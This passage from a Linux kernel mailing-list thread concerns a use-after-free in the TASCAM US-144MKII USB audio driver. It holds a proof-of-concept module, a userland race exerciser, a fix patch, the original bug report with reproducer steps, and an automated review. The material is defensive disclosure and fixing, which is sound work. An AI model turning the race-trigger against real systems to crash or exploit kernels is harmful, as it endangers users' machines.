ret = snd_pcm_new(race_card, "SndUsbRace", 0, 0, 1, &race_pcm_dev);
if (ret < 0) {
pr_err(DRV ": snd_pcm_new failed: %d\n", ret);
snd_card_free(race_card);
return ret;
}
snd_pcm_set_ops(race_pcm_dev, SNDRV_PCM_STREAM_CAPTURE, &race_pcm_ops);
snd_pcm_lib_preallocate_pages_for_all(race_pcm_dev,
SNDRV_DMA_TYPE_CONTINUOUS, NULL,
64 * 1024, 64 * 1024);
ret = snd_card_register(race_card);
if (ret < 0) {
pr_err(DRV ": snd_card_register failed: %d\n", ret);
snd_card_free(race_card);
return ret;
}
pr_info(DRV ": card registered mode=%s safe=%d\n", mode, safe);
return 0;
}
static int __init sndusb_init(void)
{
pr_info(DRV ": init mode=%s safe=%d\n", mode, safe);
return sndusb_pcm_init();
}
static void __exit sndusb_exit(void)
{
pr_info(DRV ": exit\n");
if (race_card)
snd_card_free(race_card);
if (race_pdev)
platform_device_unregister(race_pdev);
}
module_init(sndusb_init);
module_exit(sndusb_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("TASCAM US-144MKII C1/C2 synthetic lifetime reproducer");
[-- Attachment #3: pcmtest.c --]
[-- Type: text/plain, Size: 3737 bytes --]
#define _GNU_SOURCE
// SPDX-License-Identifier: GPL-2.0
/*
* pcmtest.c - guest-side exerciser for sndpci_race.ko.
*
* Usage:
* pcmtest close [iters] - open/start/close one playback substream (V4)
* pcmtest link [iters] - link two playback substreams, close B while
* the A timer callback walks the group (V5)
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <limits.h>
#include <sched.h>
#include <sound/asound.h>
#define DEV "/dev/snd/pcmC0D0c"
static int set_hw_params(int fd)
{
struct snd_pcm_hw_params p;
int i, ret;
memset(&p, 0, sizeof(p));
for (i = 0; i <= SNDRV_PCM_HW_PARAM_LAST_MASK -
SNDRV_PCM_HW_PARAM_FIRST_MASK; i++)
memset(&p.masks[i], 0xff, sizeof(p.masks[i]));
for (i = 0; i <= SNDRV_PCM_HW_PARAM_LAST_INTERVAL -
SNDRV_PCM_HW_PARAM_FIRST_INTERVAL; i++) {
p.intervals[i].min = 0;
p.intervals[i].max = UINT_MAX;
p.intervals[i].integer = 0;
}
p.rmask = ~0U;
ret = ioctl(fd, SNDRV_PCM_IOCTL_HW_REFINE, &p);
printf("HW_REFINE ret=%d errno=%d\n", ret, errno);
if (ret < 0)
return -1;
printf("refined: rate=%u ch=%u fmt=%u ps=%u periods=%u bs=%u\n",
p.intervals[SNDRV_PCM_HW_PARAM_RATE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].min,
p.intervals[SNDRV_PCM_HW_PARAM_CHANNELS - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].min,
__builtin_ctz(p.masks[SNDRV_PCM_HW_PARAM_FORMAT].bits[0]),
p.intervals[SNDRV_PCM_HW_PARAM_PERIOD_SIZE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].min,
p.intervals[SNDRV_PCM_HW_PARAM_PERIODS - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].min,
p.intervals[SNDRV_PCM_HW_PARAM_BUFFER_SIZE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].min);
ret = ioctl(fd, SNDRV_PCM_IOCTL_HW_PARAMS, &p);
if (ret < 0) {
fprintf(stderr, "HW_PARAMS: %s\n", strerror(errno));
return -1;
}
return 0;
}
static int open_stream(void)
{
int fd = open(DEV, O_RDWR | O_NONBLOCK);
if (fd < 0)
fprintf(stderr, "open %s: %s\n", DEV, strerror(errno));
return fd;
}
static int prepare_stream(int fd)
{
if (set_hw_params(fd) < 0)
return -1;
if (ioctl(fd, SNDRV_PCM_IOCTL_PREPARE, 0) < 0) {
fprintf(stderr, "PREPARE: %s\n", strerror(errno));
return -1;
}
return 0;
}
static int start_stream(int fd)
{
if (ioctl(fd, SNDRV_PCM_IOCTL_START, 0) < 0) {
fprintf(stderr, "START: %s\n", strerror(errno));
return -1;
}
return 0;
}
static int one_close(void)
{
int fd = open_stream();
if (fd < 0)
return -1;
if (prepare_stream(fd) < 0 || start_stream(fd) < 0) {
close(fd);
return -1;
}
usleep(10000);
close(fd);
return 0;
}
static int one_link(void)
{
int a = open_stream();
int b = open_stream();
if (a < 0 || b < 0)
return -1;
if (prepare_stream(a) < 0 || prepare_stream(b) < 0)
goto out;
if (ioctl(a, SNDRV_PCM_IOCTL_LINK, b) < 0) {
fprintf(stderr, "LINK: %s\n", strerror(errno));
goto out;
}
if (start_stream(a) < 0)
goto out;
/* Let the A timer callback start walking the linked group. */
usleep(1500);
/* Close B while A's callback may be in the group loop. */
close(b);
b = -1;
usleep(1500);
out:
if (b >= 0)
close(b);
if (a >= 0)
close(a);
return 0;
}
int main(int argc, char **argv)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(1, &set);
sched_setaffinity(0, sizeof(set), &set);
int i, n = 200;
if (argc < 2) {
fprintf(stderr, "usage: %s close|link [iters]\n", argv[0]);
return 2;
}
if (argc > 2)
n = atoi(argv[2]);
printf("pcmtest: mode=%s iters=%d\n", argv[1], n);
for (i = 0; i < n; i++) {
if (!strcmp(argv[1], "link")) {
if (one_link() < 0)
break;
} else {
if (one_close() < 0)
break;
}
}
printf("pcmtest: done i=%d\n", i);
return 0;
}
[-- Attachment #4: Makefile --]
[-- Type: application/octet-stream, Size: 320 bytes --]
# Build against the running kernel's headers.
# For a KASAN test kernel, set KDIR to that build tree, e.g.:
# make KDIR=/path/to/linux KASAN=1
KDIR ?= /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)
all:
$(MAKE) -C $(KDIR) M=$(PWD) modules
clean:
$(MAKE) -C $(KDIR) M=$(PWD) clean
obj-m := tascam_poc.o
^ permalink raw reply [flat|nested] 101+ messages in thread* [PATCH] Re: ALSA: usb-audio: us144mkii: PCM close frees runtime while playback/feedback URB completion and capture work still use it (UAF)
2026-11-13 12:28 ` ALSA: usb-audio: us144mkii: PCM close frees runtime while playback/feedback URB completion and capture work still use it (UAF) 徐晗翔
@ 2026-11-25 12:48 ` 徐晗翔
2026-11-25 13:13 ` sashiko-bot
2026-11-25 16:25 ` Takashi Iwai
0 siblings, 2 replies; 101+ messages in thread
From: 徐晗翔 @ 2026-11-25 12:48 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
tascam_playback_close() and tascam_capture_close() only cleared the
substream pointer; the ALSA release path then detached the substream
and freed the snd_pcm_runtime while a playback/feedback URB
completion or the capture work still used it.
Make close() a real synchronous barrier:
- clear the active flag and the substream pointer under
tascam->lock, and load them under the same lock in the
completions, so a completion cannot observe a stale substream of
a stream being quiesced;
- usb_kill_urb() every playback/feedback URB on playback close and
every capture/feedback URB on capture close (the feedback
completion consumes BOTH runtimes); usb_kill_urb() waits for each
in-flight completion, including one already inside the giveback
path;
- serialize the completions' final usb_submit_urb() with the close
under tascam->lock, so a completion that raced the close cannot
resubmit a killed URB;
- cancel_work_sync() for capture_work/stop_work/stop_pcm_work;
- serialize the whole quiesce with tascam_disconnect()'s
tascam_free_urbs() through a new cleanup_lock plus a
tascam->disconnected flag, released before snd_card_free() waits
for the open PCM files.
---
sound/usb/usx2y/us144mkii.h | 3 +++
sound/usb/usx2y/us144mkii_playback.c | 145 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++-----------------------------------------
sound/usb/usx2y/us144mkii.c | 16 ++++++++++++++++
sound/usb/usx2y/us144mkii_capture.c | 37 ++++++++++++++++++++++++++++++++++++-
4 files changed, 159 insertions(+), 42 deletions(-)
diff --git a/sound/usb/usx2y/us144mkii.h b/sound/usb/usx2y/us144mkii.h
--- a/sound/usb/usx2y/us144mkii.h
+++ b/sound/usb/usx2y/us144mkii.h
@@ -229,6 +229,9 @@
/* --- Stream State --- */
spinlock_t lock;
+ struct mutex cleanup_lock; /* serializes the close-time URB quiesce
+ * with disconnect()'s free path */
+ bool disconnected; /* disconnect() freed the URBs */
atomic_t playback_active;
atomic_t capture_active;
atomic_t active_urbs;
diff --git a/sound/usb/usx2y/us144mkii_playback.c b/sound/usb/usx2y/us144mkii_playback.c
--- a/sound/usb/usx2y/us144mkii_playback.c
+++ b/sound/usb/usx2y/us144mkii_playback.c
@@ -35,8 +35,40 @@
static int tascam_playback_close(struct snd_pcm_substream *substream)
{
struct tascam_card *tascam = snd_pcm_substream_chip(substream);
+ int i;
- tascam->playback_substream = NULL;
+ /* Serialize the quiesce below with disconnect()'s tascam_free_urbs()
+ * via the cleanup lock; after disconnect() has run there is nothing
+ * left to kill. */
+ guard(mutex)(&tascam->cleanup_lock);
+ if (!tascam->disconnected) {
+ /* Clear the state under tascam->lock first, so a completion
+ * that races this close observes the cleared flag before its
+ * final resubmit (see the completions) and cannot bring an
+ * URB back to life after the kill. */
+ scoped_guard(spinlock_irqsave, &tascam->lock) {
+ atomic_set(&tascam->playback_active, 0);
+ tascam->playback_substream = NULL;
+ }
+
+ /*
+ * Per-URB usb_kill_urb() is the explicit synchronous close
+ * barrier: it waits for each in-flight completion (including
+ * one that already passed the active/pointer checks). The
+ * feedback completion also consumes the playback runtime.
+ */
+ for (i = 0; i < NUM_PLAYBACK_URBS; i++)
+ if (tascam->playback_urbs[i])
+ usb_kill_urb(tascam->playback_urbs[i]);
+ for (i = 0; i < NUM_FEEDBACK_URBS; i++)
+ if (tascam->feedback_urbs[i])
+ usb_kill_urb(tascam->feedback_urbs[i]);
+ }
+
+ cancel_work_sync(&tascam->stop_work);
+ /* a stop_pcm_work queued on feedback sync loss must not run after
+ * ALSA detached the substream and freed its runtime */
+ cancel_work_sync(&tascam->stop_pcm_work);
return 0;
}
@@ -158,8 +190,8 @@
void playback_urb_complete(struct urb *urb)
{
struct tascam_card *tascam = urb->context;
- struct snd_pcm_substream *substream;
- struct snd_pcm_runtime *runtime;
+ struct snd_pcm_substream *substream = NULL;
+ struct snd_pcm_runtime *runtime = NULL;
size_t total_bytes_for_urb = 0;
snd_pcm_uframes_t offset_frames;
snd_pcm_uframes_t frames_to_copy;
@@ -173,15 +205,21 @@
urb->status);
goto out;
}
- if (!tascam || !atomic_read(&tascam->playback_active))
- goto out;
-
- substream = tascam->playback_substream;
- if (!substream || !substream->runtime)
+ if (!tascam)
goto out;
- runtime = substream->runtime;
+ /* Load the active flag and the substream under tascam->lock: a
+ * concurrent close clears both under the same lock, so this read
+ * cannot observe a stale substream of a stream that is being
+ * quiesced. */
scoped_guard(spinlock_irqsave, &tascam->lock) {
+ if (!atomic_read(&tascam->playback_active))
+ goto out;
+ substream = tascam->playback_substream;
+ if (!substream || !substream->runtime)
+ goto out;
+ runtime = substream->runtime;
+
for (i = 0; i < urb->number_of_packets; i++) {
unsigned int frames_for_packet;
size_t bytes_for_packet;
@@ -237,18 +275,26 @@
frames_to_copy);
}
- urb->dev = tascam->dev;
- usb_get_urb(urb);
- usb_anchor_urb(urb, &tascam->playback_anchor);
- ret = usb_submit_urb(urb, GFP_ATOMIC);
- if (ret < 0) {
- dev_err_ratelimited(tascam->card->dev,
- "Failed to resubmit playback URB: %d\n",
- ret);
- usb_unanchor_urb(urb);
- usb_put_urb(urb);
- atomic_dec(
- &tascam->active_urbs); /* Decrement on failed resubmission */
+ /* Serialize the final resubmit with a concurrent close(): the close
+ * clears playback_active under tascam->lock, so observing it
+ * cleared here means the stream is being quiesced -- do not bring
+ * the URB back to life after the close's per-URB kill. */
+ scoped_guard(spinlock_irqsave, &tascam->lock) {
+ if (!atomic_read(&tascam->playback_active))
+ goto out;
+ urb->dev = tascam->dev;
+ usb_get_urb(urb);
+ usb_anchor_urb(urb, &tascam->playback_anchor);
+ ret = usb_submit_urb(urb, GFP_ATOMIC);
+ if (ret < 0) {
+ dev_err_ratelimited(tascam->card->dev,
+ "Failed to resubmit playback URB: %d\n",
+ ret);
+ usb_unanchor_urb(urb);
+ usb_put_urb(urb);
+ atomic_dec(
+ &tascam->active_urbs); /* Decrement on failed resubmission */
+ }
}
out:
usb_put_urb(urb);
@@ -257,8 +303,8 @@
void feedback_urb_complete(struct urb *urb)
{
struct tascam_card *tascam = urb->context;
- struct snd_pcm_substream *playback_ss, *capture_ss;
- struct snd_pcm_runtime *playback_rt, *capture_rt;
+ struct snd_pcm_substream *playback_ss = NULL, *capture_ss = NULL;
+ struct snd_pcm_runtime *playback_rt = NULL, *capture_rt = NULL;
u64 total_frames_in_urb = 0;
int ret, p;
unsigned int old_in_idx, new_in_idx;
@@ -276,18 +322,27 @@
}
goto out;
}
- if (!tascam || !atomic_read(&tascam->playback_active))
+ if (!tascam)
goto out;
- playback_ss = tascam->playback_substream;
- if (!playback_ss || !playback_ss->runtime)
- goto out;
- playback_rt = playback_ss->runtime;
+ scoped_guard(spinlock_irqsave, &tascam->lock) {
+ /* Load the active flag and the substreams under
+ * tascam->lock: a concurrent playback or capture close
+ * clears the flag and the pointers under the same lock, so
+ * these reads cannot observe a stale substream whose
+ * runtime is being detached. The feedback completion
+ * consumes both runtimes, hence capture close must also
+ * quiesce the feedback URBs (see tascam_capture_close()). */
+ if (!atomic_read(&tascam->playback_active))
+ goto out;
+ playback_ss = tascam->playback_substream;
+ if (!playback_ss || !playback_ss->runtime)
+ goto out;
+ playback_rt = playback_ss->runtime;
- capture_ss = tascam->capture_substream;
- capture_rt = capture_ss ? capture_ss->runtime : NULL;
+ capture_ss = tascam->capture_substream;
+ capture_rt = capture_ss ? capture_ss->runtime : NULL;
- scoped_guard(spinlock_irqsave, &tascam->lock) {
if (tascam->feedback_urb_skip_count > 0) {
tascam->feedback_urb_skip_count--;
break;
@@ -429,16 +484,24 @@
if (capture_period_elapsed)
snd_pcm_period_elapsed(capture_ss);
- urb->dev = tascam->dev;
- usb_get_urb(urb);
- usb_anchor_urb(urb, &tascam->feedback_anchor);
- ret = usb_submit_urb(urb, GFP_ATOMIC);
- if (ret < 0) {
- dev_err_ratelimited(tascam->card->dev,
- "Failed to resubmit feedback URB: %d\n",
- ret);
- usb_unanchor_urb(urb);
- usb_put_urb(urb);
+ /* Serialize the final resubmit with a concurrent close(): observing
+ * playback_active cleared under tascam->lock means the playback
+ * stream is being quiesced -- do not bring the URB back to life
+ * after the close's per-URB kill. */
+ scoped_guard(spinlock_irqsave, &tascam->lock) {
+ if (!atomic_read(&tascam->playback_active))
+ goto out;
+ urb->dev = tascam->dev;
+ usb_get_urb(urb);
+ usb_anchor_urb(urb, &tascam->feedback_anchor);
+ ret = usb_submit_urb(urb, GFP_ATOMIC);
+ if (ret < 0) {
+ dev_err_ratelimited(tascam->card->dev,
+ "Failed to resubmit feedback URB: %d\n",
+ ret);
+ usb_unanchor_urb(urb);
+ usb_put_urb(urb);
+ }
}
out:
usb_put_urb(urb);
diff --git a/sound/usb/usx2y/us144mkii.c b/sound/usb/usx2y/us144mkii.c
--- a/sound/usb/usx2y/us144mkii.c
+++ b/sound/usb/usx2y/us144mkii.c
@@ -497,6 +497,7 @@
tascam->capture_34_source = 1;
spin_lock_init(&tascam->lock);
+ mutex_init(&tascam->cleanup_lock);
spin_lock_init(&tascam->midi_in_lock);
spin_lock_init(&tascam->midi_out_lock);
init_usb_anchor(&tascam->playback_anchor);
@@ -588,6 +589,17 @@
snd_card_disconnect(tascam->card);
/*
+ * Serialize with a concurrent PCM close()'s quiesce (the
+ * per-URB kills below and tascam_free_urbs() must not race
+ * each other), then release the lock before snd_card_free()
+ * waits for the open PCM files: a close that runs during
+ * that wait sees tascam->disconnected and skips the URB
+ * handling.
+ */
+ mutex_lock(&tascam->cleanup_lock);
+ tascam->disconnected = true;
+
+ /*
* Kill the URBs before cancelling the work, so a late URB
* completion cannot re-arm a work that then runs after
* snd_card_free().
@@ -605,6 +617,10 @@
cancel_work_sync(&tascam->stop_pcm_work);
timer_delete_sync(&tascam->error_timer);
tascam_free_urbs(tascam);
+ /* release before snd_card_free(): it waits for the open PCM
+ * files, and a close running during that wait takes this
+ * lock (and sees tascam->disconnected) */
+ mutex_unlock(&tascam->cleanup_lock);
snd_card_free(tascam->card);
dev_idx--;
}
diff --git a/sound/usb/usx2y/us144mkii_capture.c b/sound/usb/usx2y/us144mkii_capture.c
--- a/sound/usb/usx2y/us144mkii_capture.c
+++ b/sound/usb/usx2y/us144mkii_capture.c
@@ -35,8 +35,43 @@
static int tascam_capture_close(struct snd_pcm_substream *substream)
{
struct tascam_card *tascam = snd_pcm_substream_chip(substream);
+ int i;
- tascam->capture_substream = NULL;
+ /* Serialize the quiesce below with disconnect()'s tascam_free_urbs()
+ * via the cleanup lock; after disconnect() has run there is nothing
+ * left to kill. */
+ guard(mutex)(&tascam->cleanup_lock);
+ if (!tascam->disconnected) {
+ /* Clear the state under tascam->lock first (ordered against
+ * the completions' locked reads) before killing. */
+ scoped_guard(spinlock_irqsave, &tascam->lock) {
+ atomic_set(&tascam->capture_active, 0);
+ tascam->capture_substream = NULL;
+ }
+
+ /*
+ * Kill the capture URBs, and the feedback URBs, too: the
+ * feedback completion consumes the capture runtime
+ * (capture_rt->period_size, snd_pcm_period_elapsed()), so
+ * closing capture while playback stays open must quiesce
+ * the feedback path as well. usb_kill_urb() waits for each
+ * in-flight completion -- the explicit synchronous barrier.
+ */
+ for (i = 0; i < NUM_CAPTURE_URBS; i++)
+ if (tascam->capture_urbs[i])
+ usb_kill_urb(tascam->capture_urbs[i]);
+ for (i = 0; i < NUM_FEEDBACK_URBS; i++)
+ if (tascam->feedback_urbs[i])
+ usb_kill_urb(tascam->feedback_urbs[i]);
+ }
+
+ /* the capture work caches substream->runtime at entry and writes
+ * runtime->dma_area; it must not run after the detach below */
+ cancel_work_sync(&tascam->capture_work);
+ cancel_work_sync(&tascam->stop_work);
+ /* a stop_pcm_work queued on feedback sync loss must not run after
+ * ALSA detached the substream and freed its runtime */
+ cancel_work_sync(&tascam->stop_pcm_work);
return 0;
}
> -----原始邮件-----
> 发件人: 徐晗翔 <xuhx@hust.edu.cn>
> 发送时间:2026-11-13 20:28:42 (星期五)
> 收件人: perex@perex.cz, tiwai@suse.com
> 抄送: linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org
> 主题: ALSA: usb-audio: us144mkii: PCM close frees runtime while playback/feedback URB completion and capture work still use it (UAF)
>
> tascam_playback_close() and tascam_capture_close() only clear the
> substream pointer; they do not stop URBs or cancel work. The ALSA
> release path then calls snd_pcm_detach_substream(), which sets
> substream->runtime to NULL and frees the snd_pcm_runtime. A
> playback/feedback URB completion, or the capture work, can have loaded
> the substream/runtime pointer before close; after detach it dereferences
> runtime->rate, runtime->buffer_size, runtime->dma_area or
> runtime->status, and may resubmit the next URB. This is a
> use-after-free / oops on an ordinary PCM close while the device remains
> connected. It is not the disconnect path. Capture close is also
> affected because feedback_urb_complete() uses the capture runtime.
>
> The detailed description:
>
> * Test environment / affected version
>
> Linux 7.3.0 source tree (VERSION=7, PATCHLEVEL=3, SUBLEVEL=0),
> sound/usb/usx2y/us144mkii.c, us144mkii_playback.c,
> us144mkii_capture.c and us144mkii_pcm.c. The driver binds the
> TASCAM US-144MKII (0644:8020) and US-144 (0644:800f). The relevant
> configuration is CONFIG_SND_USB_US144MKII=m.
>
> This report is based on source inspection, plus a synthetic ALSA PCM
> model used to validate the close/detach lifetime pattern (see
> "Reproducer (attached POC)" below). I have not run the real driver on
> TASCAM hardware or under KASAN; no real-hardware result is claimed.
>
> * Mechanism
>
> 1. The close callbacks do not stop I/O:
>
> static int tascam_playback_close(struct snd_pcm_substream *substream)
> {
> struct tascam_card *tascam = snd_pcm_substream_chip(substream);
>
> tascam->playback_substream = NULL;
> return 0;
> }
>
> (us144mkii_playback.c:35-42; tascam_capture_close() is the same at
> us144mkii_capture.c:35-42). No usb_kill_urb(), no
> cancel_work_sync().
>
> 2. tascam_pcm_trigger() on STOP only clears the active flags and
> schedules stop_work asynchronously:
>
> atomic_set(&tascam->playback_active, 0);
> atomic_set(&tascam->capture_active, 0);
> ...
> schedule_work(&tascam->stop_work);
>
> (us144mkii_pcm.c:280-287 and 352-353). tascam_pcm_hw_free() is a
> no-op (us144mkii_pcm.c:257-260), so ALSA's do_hw_free() cannot stop
> anything either.
>
> 3. ALSA then frees the runtime:
>
> snd_pcm_drop(substream); /* trigger STOP */
> ...
> substream->ops->close(substream); /* only NULLs ptr */
> ...
> snd_pcm_detach_substream(substream); /* frees runtime */
>
> (sound/core/pcm_native.c:2785-2805; snd_pcm_detach_substream() at
> sound/core/pcm.c:978-1005, substream->runtime = NULL at 997 and
> kfree(runtime) at 1001).
>
> 4. Three consumers can already hold the old runtime pointer:
>
> - playback_urb_complete() reads tascam->playback_substream and
> substream->runtime at us144mkii_playback.c:176-182, then uses
> runtime->rate / runtime->buffer_size under tascam->lock and
> runtime->dma_area after unlocking (184-234), before resubmitting
> at 237-247.
>
> - feedback_urb_complete() reads the playback and capture
> substreams at us144mkii_playback.c:282-288. It uses
> capture_rt->period_size at 413-417 and calls
> snd_pcm_period_elapsed(capture_ss) at 430 after unlocking.
> Therefore capture close must also stop the feedback URB; it
> currently stops neither capture nor feedback URBs.
>
> - tascam_capture_work_handler() reads
> tascam->capture_substream and substream->runtime at
> us144mkii_capture.c:157-169 and writes runtime->dma_area at 230
> under tascam->lock. It is queued by capture_urb_complete() at
> line 301.
>
> 5. The asynchronous stop_work is not a close-time barrier.
> usb_kill_anchored_urbs() in tascam_stop_work_handler() does wait
> for a completion that is already inside the HCD giveback path
> (__usb_hcd_giveback_urb() suspends the anchor wakeups before
> usb_unanchor_urb(), and resumes them only after urb->complete()),
> but stop_work itself is scheduled asynchronously by trigger(STOP).
> close does not wait for stop_work, so detach can free the runtime
> before stop_work runs. A per-URB usb_kill_urb() in close() is the
> explicit synchronous barrier; it waits for urb->use_count == 0
> (drivers/usb/core/urb.c:703-720).
>
> 6. A completion that has already passed the active/pointer check can
> resubmit a URB after close's kill unless the final check and
> usb_submit_urb() are serialized with close. The close path must
> clear the active flag and substream pointer under tascam->lock,
> kill the URBs, cancel the work, and make the completion's final
> submit path take the same lock.
>
> 7. There is a second direction: feedback completion consumes the
> capture runtime, but tascam_capture_close() stops neither capture
> URBs nor feedback URBs. Closing capture while playback (and
> therefore feedback) remains open can free capture_runtime while
> feedback completion still uses capture_rt.
>
> 8. close() must also be serialized with tascam_disconnect():
> tascam_disconnect() calls tascam_free_urbs() before
> snd_card_free() waits for open PCM files to close
> (us144mkii.c:580-611; free at 38-110). Without a
> disconnect_lock/disconnected flag, a close that runs after the
> slots were freed can call usb_kill_urb(NULL), or race the free.
>
>
>
> * Reproducer
>
> Attached files:
> tascam_poc.c - synthetic ALSA PCM kernel module (C1 mode pcm1)
> pcmtest.c - userland exerciser
> Makefile - builds tascam_poc.ko against the running kernel
>
> This POC does not drive the TASCAM device. It creates a synthetic ALSA
> PCM card whose .close() only drops the substream pointer, starts an
> asynchronous work item that caches the runtime, and lets ALSA detach and
> free the runtime before the work runs. It therefore reproduces the
> lifetime ordering in point 3/4 above, not the real USB URB completion.
> A KASAN kernel is required to observe the UAF.
>
> Build and run:
> make
> gcc -static -O2 -o pcmtest pcmtest.c
> sudo modprobe snd-pcm
> sudo insmod ./tascam_poc.ko mode=pcm1
> sudo ./pcmtest 1
> dmesg | tail -50
> sudo rmmod tascam_poc
>
> Expected result with KASAN:
> BUG: KASAN: slab-use-after-free in race_pcm_work+0xce/0x140
> Allocated by task ... (snd_pcm_open)
> Freed by task ... (snd_pcm_release_substream/snd_pcm_detach_substream)
>
> Negative control (close cancels the work):
> sudo insmod ./tascam_poc.ko mode=pcm1 safe=1
> sudo ./pcmtest 1
> Expected: no KASAN report.
>
> The module creates a capture PCM at card index 0; if that index is
> occupied, check /proc/asound/cards and adjust DEV in pcmtest.c.
>
> For a real-hardware KASAN run, the proposed procedure is:
>
> arecord -D hw:CARD=US144MKII,DEV=0 -f S32_LE -r 48000 -c 4 /dev/null &
> aplay -D hw:CARD=US144MKII,DEV=0 -f S32_LE -r 48000 -c 4 /dev/zero
> # start playback, then close it while feedback is active;
> # repeat open/start/close in a loop and watch dmesg for KASAN
>
> For the capture-close direction, keep the playback process running
> and repeatedly open/start/close the capture stream. The expected
> KASAN top frames are playback_urb_complete(), feedback_urb_complete()
> or tascam_capture_work_handler().
>
>
> * Suggested direction
>
> In .close(), under tascam->lock, clear the active flag and substream
> pointer, then call usb_kill_urb() for every feedback/playback URB
> (capture close: feedback/capture), and finally cancel_work_sync() for
> stop_pcm_work, stop_work and capture_work as appropriate, before
> returning to snd_pcm_detach_substream().
>
> Use a disconnect_lock plus a disconnected flag to serialize this
> cleanup with tascam_disconnect()'s tascam_free_urbs(); release the
> lock before snd_card_free(). The completion's final
> active/pointer check and usb_anchor_urb()/usb_submit_urb() should run
> under the same tascam->lock, so a completion that raced with close
> cannot submit a new URB after the kill.
>
> I am happy to test a proposed fix.
>
>
> Please keep me in Cc; I am not subscribed to the lists.
>
>
> Regards,
> Hanxiang Xu
> xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: [PATCH] Re: ALSA: usb-audio: us144mkii: PCM close frees runtime while playback/feedback URB completion and capture work still use it (UAF)
2026-11-25 12:48 ` [PATCH] " 徐晗翔
@ 2026-11-25 13:13 ` sashiko-bot
2026-11-25 16:25 ` Takashi Iwai
1 sibling, 0 replies; 101+ messages in thread
From: sashiko-bot @ 2026-11-25 13:13 UTC (permalink / raw)
To: 徐晗翔; +Cc: linux-sound
Thank you for your contribution! Sashiko AI review found 8 potential
issues to consider:
- [High] ALSA: usb-audio: us144mkii: missing Signed-off-by trailer in
commit
- [High] ALSA: usb-audio: us144mkii: cancelling stop_work wedges
active_urbs
- [High] ALSA: usb-audio: us144mkii: killing feedback URBs on close
stalls stream
- [High] ALSA: usb-audio: us144mkii: DMA buffer freed in do_hw_free()
before close()
- [High] ALSA: usb-audio: us144mkii: unlocked resubmit in
capture_urb_complete()
- [Medium] ALSA: usb-audio: us144mkii: stop_work cancelled before
stop_pcm_work
- [Low] ALSA: usb-audio: us144mkii: missing Fixes trailer on UAF bug fix
- [Low] ALSA: usb-audio: us144mkii: missing kernel-doc for new
tascam_card fields
--
commit 7f947095f0e3230e63ce245111703c733cee7d7a
Author: 徐晗翔 <xuhx@hust.edu.cn>
> ALSA: usb-audio: us144mkii: PCM close frees runtime while playback/feedback URB completion and capture work still use it (UAF)
>
> tascam_playback_close() and tascam_capture_close() only cleared the
> substream pointer; the ALSA release path then detached the substream
> and freed the snd_pcm_runtime while a playback/feedback URB
> completion or the capture work still used it.
>
> Make close() a real synchronous barrier:
>
> - clear the active flag and the substream pointer under
> tascam->lock, and load them under the same lock in the
> completions, so a completion cannot observe a stale substream of
> a stream being quiesced;
> - usb_kill_urb() every playback/feedback URB on playback close and
> every capture/feedback URB on capture close (the feedback
> completion consumes BOTH runtimes); usb_kill_urb() waits for each
> in-flight completion, including one already inside the giveback
> path;
> - serialize the completions' final usb_submit_urb() with the close
> under tascam->lock, so a completion that raced the close cannot
> resubmit a killed URB;
> - cancel_work_sync() for capture_work/stop_work/stop_pcm_work;
> - serialize the whole quiesce with tascam_disconnect()'s
> tascam_free_urbs() through a new cleanup_lock plus a
> tascam->disconnected flag, released before snd_card_free() waits
> for the open PCM files.
[Severity: High]
The commit message is missing a Signed-off-by: trailer, which is required
under the Developer's Certificate of Origin.
[Severity: Low]
Since this fixes a use-after-free in the playback/feedback and capture
paths, should it include Fixes: trailers for those commits?
Fixes: a2a2210f2c2e ("ALSA: usb-audio: us144mkii: Implement audio playback and feedback")
Fixes: c1bb0c13e430 ("ALSA: usb-audio: us144mkii: Implement audio capture and decoding")
> diff --git a/sound/usb/usx2y/us144mkii.c b/sound/usb/usx2y/us144mkii.c
> index 58ef23146f209..d2f2cd8bb3305 100644
> --- a/sound/usb/usx2y/us144mkii.c
> +++ b/sound/usb/usx2y/us144mkii.c
[ ... ]
> @@ -605,6 +617,10 @@ static void tascam_disconnect(struct usb_interface *intf)
> cancel_work_sync(&tascam->stop_pcm_work);
> timer_delete_sync(&tascam->error_timer);
> tascam_free_urbs(tascam);
> + /* release before snd_card_free(): it waits for the open PCM
> + * files, and a close running during that wait takes this
> + * lock (and sees tascam->disconnected) */
> + mutex_unlock(&tascam->cleanup_lock);
> snd_card_free(tascam->card);
> dev_idx--;
> }
[Severity: Medium]
Can tascam_stop_pcm_work_handler() re-arm tascam->stop_work after
cancel_work_sync(&tascam->stop_work) has already returned here and in
tascam_playback_close() / tascam_capture_close()?
tascam_stop_pcm_work_handler() calls snd_pcm_stop(), which invokes
tascam_pcm_trigger(SNDRV_PCM_TRIGGER_STOP) and calls
schedule_work(&tascam->stop_work). If stop_pcm_work is already running
when stop_work is cancelled first, it can queue stop_work again before
cancel_work_sync(&tascam->stop_pcm_work) runs, leaving stop_work pending
after close() or after snd_card_free() frees tascam_card. Cancelling
stop_pcm_work before stop_work avoids this.
> diff --git a/sound/usb/usx2y/us144mkii.h b/sound/usb/usx2y/us144mkii.h
> index 95c4341f038ad..4d049db675ef6 100644
> --- a/sound/usb/usx2y/us144mkii.h
> +++ b/sound/usb/usx2y/us144mkii.h
> @@ -229,6 +229,9 @@ struct tascam_card {
>
> /* --- Stream State --- */
> spinlock_t lock;
> + struct mutex cleanup_lock; /* serializes the close-time URB quiesce
> + * with disconnect()'s free path */
> + bool disconnected; /* disconnect() freed the URBs */
> atomic_t playback_active;
> atomic_t capture_active;
> atomic_t active_urbs;
[Severity: Low]
struct tascam_card has a kernel-doc comment header above it, so adding
cleanup_lock and disconnected without @cleanup_lock and @disconnected
entries in that comment block will trigger W=1 kernel-doc warnings.
